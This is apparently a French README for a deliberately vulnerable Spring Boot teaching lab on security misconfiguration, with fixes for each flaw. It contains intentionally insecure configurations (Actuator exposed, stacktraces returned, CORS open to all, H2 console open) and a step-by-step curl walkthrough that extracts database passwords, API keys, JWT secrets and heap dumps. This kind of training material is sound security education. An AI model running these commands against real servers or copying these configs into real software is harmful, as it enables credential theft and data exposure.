Security Misconfiguration
Java 17 · Spring Boot · Actuator
Endpoints Actuator exposés, stacktraces Java en clair dans les erreurs, CORS configuré en *.
Cas n°2 — A02:2025 Security Misconfiguration
ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=02
ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=02 -e variant=secure
Référence OWASP
| Catégorie | A02:2025 - Security Misconfiguration |
| Stack | Java 17, Spring Boot 3.2, Spring Security, H2 embedded |
| Lancement | mvn spring-boot:run (dans vulnerable/ ou secure/) |
démos vidéo
| Etape | Démo |
|---|---|
| Application vulnérable, déploiement | 02_vulnerable_01_deploy.mp4 |
| Application vulnérable, exploit | 02_vulnerable_02_demo.mp4 |
| Application sécurisée, déploiement | 02_secure_01_deploy.mp4 |
| Application sécurisée, tentative d'exploit | 02_secure_02_demo.mp4 |
Scénario métier
Application de gestion des contrats d'assurance Assuria. L'API expose des endpoints REST pour consulter et gérer les contrats. La configuration par défaut de Spring Boot n'a pas été durcie, ce qui expose l'application à plusieurs vecteurs d'attaque.
Données de test
| Utilisateur | Login | Mot de passe | Rôle |
|---|---|---|---|
| Admin | admin |
admin123 |
ADMIN |
| Gestionnaire | gestionnaire |
gest123 |
GESTIONNAIRE |
Les 4 vulnérabilités démontrées
1. Endpoints Spring Boot Actuator exposés sans authentification
Spring Boot Actuator est un module intégré à Spring Boot qui fournit des endpoints HTTP prêts à l'emploi pour surveiller et administrer une application en production. On peut le voir comme un tableau de bord technique exposé via des URL.
Concrètement, quand tu ajoutes la dépendance spring-boot-starter-actuator dans ton pom.xml, ton application expose automatiquement un ensemble de routes sous le préfixe /actuator/. Chaque route correspond à une fonctionnalité de monitoring ou de diagnostic : vérifier que l'application est en vie, consulter sa configuration, observer ses métriques de performance, etc.
C'est un outil pensé pour les équipes d'exploitation (ops/devops) : il permet par exemple à un load balancer de vérifier que l'application répond via /actuator/health, ou à un outil de monitoring comme Prometheus de collecter des métriques via /actuator/metrics.
Le problème de sécurité survient quand ces endpoints sont exposés sans restriction en production. Ils sont conçus pour un usage interne d'administration, mais si un développeur ne durcit pas la configuration, ils deviennent accessibles à n'importe qui sur Internet. C'est exactement ce que démontre le cas n°2 du projet : un attaquant peut lire les mots de passe en mémoire, télécharger le heap dump, ou cartographier toutes les routes de l'API, simplement en appelant ces URL avec un curl.
En résumé : c'est un outil légitime et très utile, mais qui doit impérativement être protégé (authentification, restriction réseau, exposition minimale) dès qu'on sort de l'environnement de développement local.
Fichier vulnérable : vulnerable/src/main/resources/application.yml
management:
endpoints:
web:
exposure:
include: "*" # TOUS les endpoints exposés
endpoint:
env:
show-values: ALWAYS # Valeurs des propriétés en clair
Les endpoints /actuator/env, /actuator/heapdump, /actuator/beans, /actuator/mappings sont accessibles sans authentification et révèlent :
- Le mot de passe de la base de données (
spring.datasource.password) - Les clés API et secrets JWT applicatifs
- Le heap dump (données en mémoire : contrats, IBAN, sessions actives)
- La liste complète des routes et beans Spring
2. Stacktraces Java exposées dans les réponses d'erreur
Fichier vulnérable : vulnerable/src/main/resources/application.yml
server:
error:
include-stacktrace: ALWAYS # Stacktrace complète dans la réponse HTTP
include-message: ALWAYS # Message d'exception brut
include-exception: true # Nom de la classe d'exception
Une requête avec un paramètre invalide retourne la stacktrace complète :
{
"status": 400,
"error": "Bad Request",
"exception": "org.springframework.web.method.annotation.MethodArgumentTypeMismatchException",
"trace": "org.springframework.web.method.annotation.MethodArgumentTypeMismatchException: ...\n\tat cc.appsec.secmisconfig.controller.ContratController.getContrat(ContratController.java:28)\n\t..."
}
Cette réponse révèle les noms de classes internes, les versions des librairies, et la structure du code source.
3. CORS trop permissif
Fichier vulnérable : vulnerable/src/main/java/cc/appsec/secmisconfig/config/CorsConfig.java
registry.addMapping("/**")
.allowedOrigins("*") // Tous les domaines autorisés
.allowedMethods("*") // Toutes les méthodes HTTP
.allowedHeaders("*"); // Tous les headers
N'importe quel site web peut effectuer des requêtes cross-origin vers l'API et lire les données retournées, y compris en passant des headers d'authentification.
4. Console H2 accessible sans restriction
Fichier vulnérable : vulnerable/src/main/resources/application.yml
spring:
h2:
console:
enabled: true
settings:
web-allow-others: true # Accessible depuis toutes les IP
La console H2 est accessible à /h2-console sans authentification spécifique. Avec les credentials trouvés via /actuator/env, un attaquant peut exécuter du SQL directement sur la base de données.
Exploitation — Scénario pas-à-pas
Prérequis
Lancer la version vulnérable :
cd vulnerable
mvn spring-boot:run
Exécuter le script d'exploitation complet
Linux/macOS :
chmod +x exploit/exploit.sh
./exploit/exploit.sh
Windows :
exploit\exploit.bat
Exploitation manuelle
Étape 1 — Vol de credentials via Actuator
# Lire toutes les variables d'environnement
curl https://appsec.cc/actuator/env
# Extraire le mot de passe BDD directement
curl https://appsec.cc/actuator/env/spring.datasource.password
# Réponse :
# {"property":{"source":"Config resource...","value":"motdepasse_secret_bdd_assuria2024"}}
# Récupérer la clé API
curl https://appsec.cc/actuator/env/app.api-key
# Récupérer le secret JWT
curl https://appsec.cc/actuator/env/app.jwt-secret
# Cartographier toutes les routes de l'application
curl https://appsec.cc/actuator/mappings
# Télécharger le heap dump (peut contenir sessions, IBAN, données en clair)
curl https://appsec.cc/actuator/heapdump -o heapdump.bin
Étape 2 — Exploitation de la stacktrace
# Déclencher une erreur avec un ID invalide (pas de Basic Auth requis pour voir l'erreur)
curl -u gestionnaire:gest123 https://appsec.cc/api/contrats/abc
La réponse contient la stacktrace complète avec les noms de classes et numéros de ligne.
Étape 3 — Accès direct à la base via console H2
- Ouvrir
https://appsec.cc/h2-consoledans le navigateur - Renseigner :
- JDBC URL :
jdbc:h2:mem:assuriadb - User Name :
sa - Password :
motdepasse_secret_bdd_assuria2024(trouvé à l'étape 1)
- JDBC URL :
- Exécuter :
SELECT * FROM UTILISATEURS; -- → Affiche les mots de passe en clair et les emails SELECT * FROM CONTRATS; -- → Affiche les IBAN des assurés en clair
Étape 4 — Exploit CORS depuis un domaine tiers
# Servir la page d'exploit sur un port différent (simule un domaine tiers)
cd exploit
python3 -m http.server 9090 # Linux/macOS
python -m http.server 9090 # Windows
Ouvrir http://localhost:9090/cors-exploit.html et cliquer sur les boutons. La page effectue des requêtes cross-origin vers localhost:8080 qui sont autorisées grâce à allowedOrigins("*").
Correctif — Version sécurisée (secure/)
1. Actuator restreint et authentifié
management:
endpoints:
web:
exposure:
include: health,info # Seuls health et info sont exposés
endpoint:
env:
show-values: NEVER # Les valeurs sont masquées
health:
show-details: WHEN_AUTHORIZED
// SecurityConfig.java — Les endpoints Actuator nécessitent le rôle ADMIN
.requestMatchers("/actuator/health").permitAll()
.requestMatchers("/actuator/**").hasRole("ADMIN")
Avant :
curl https://appsec.cc/actuator/env
# → {"propertySources":[{"name":"...","properties":{"spring.datasource.password":{"value":"motdepasse_secret"}}}]}
Après :
curl https://appsec.cc/actuator/env
# → 401 Unauthorized
curl -u admin:admin123 https://appsec.cc/actuator/env
# → {"propertySources":[{"name":"...","properties":{"spring.datasource.password":{"value":"******"}}}]}
2. Stacktraces masquées + gestionnaire d'erreurs générique
server:
error:
include-stacktrace: NEVER
include-message: NEVER
include-exception: false
@RestControllerAdvice
public class GlobalExceptionHandler {
@ExceptionHandler(Exception.class)
public ResponseEntity<Map<String, String>> handleAll(Exception e) {
log.error("Erreur interne", e); // Log côté serveur uniquement
return ResponseEntity.status(500)
.body(Map.of("error", "Une erreur interne est survenue. Veuillez contacter le support."));
}
}
Avant :
{"exception": "MethodArgumentTypeMismatchException", "trace": "cc.appsec...ContratController.java:28..."}
Après :
{"error": "Une erreur interne est survenue. Veuillez contacter le support."}
3. CORS restrictif
registry.addMapping("/api/**")
.allowedOrigins("https://assuria-assurances.fr") // Domaine spécifique uniquement
.allowedMethods("GET", "POST", "PUT") // Méthodes nécessaires seulement
.allowedHeaders("Authorization", "Content-Type")
.allowCredentials(true)
.maxAge(3600);
Test :
curl -H "Origin: http://attaquant.com" https://appsec.cc/api/contrats
# Version vulnérable → Access-Control-Allow-Origin: *
# Version sécurisée → pas de header Access-Control-Allow-Origin (origine bloquée)
4. Console H2 désactivée
spring:
h2:
console:
enabled: false
// Double protection dans SecurityConfig.java
.requestMatchers("/h2-console/**").denyAll()
Comparaison des résultats
| Vecteur | Version vulnérable | Version sécurisée |
|---|---|---|
GET /actuator/env |
200 — credentials en clair | 401 Unauthorized |
GET /actuator/heapdump |
200 — fichier téléchargeable | 404 Not Found |
GET /api/contrats/abc |
500 — stacktrace complète | 500 — message générique |
GET /h2-console |
200 — accès direct BDD | 403 Forbidden |
| Requête cross-origin | Autorisée depuis * |
Bloquée (origine inconnue) |
Principes de sécurité appliqués
- Principe du moindre privilège — n'exposer que le strict minimum nécessaire au fonctionnement
- Défense en profondeur — plusieurs couches de protection (config YAML + Spring Security)
- Séparation des environnements — la config de dev ne doit jamais aller en production
- Ne jamais exposer d'informations techniques aux utilisateurs finaux
- Sécuriser les outils d'administration ou les désactiver en production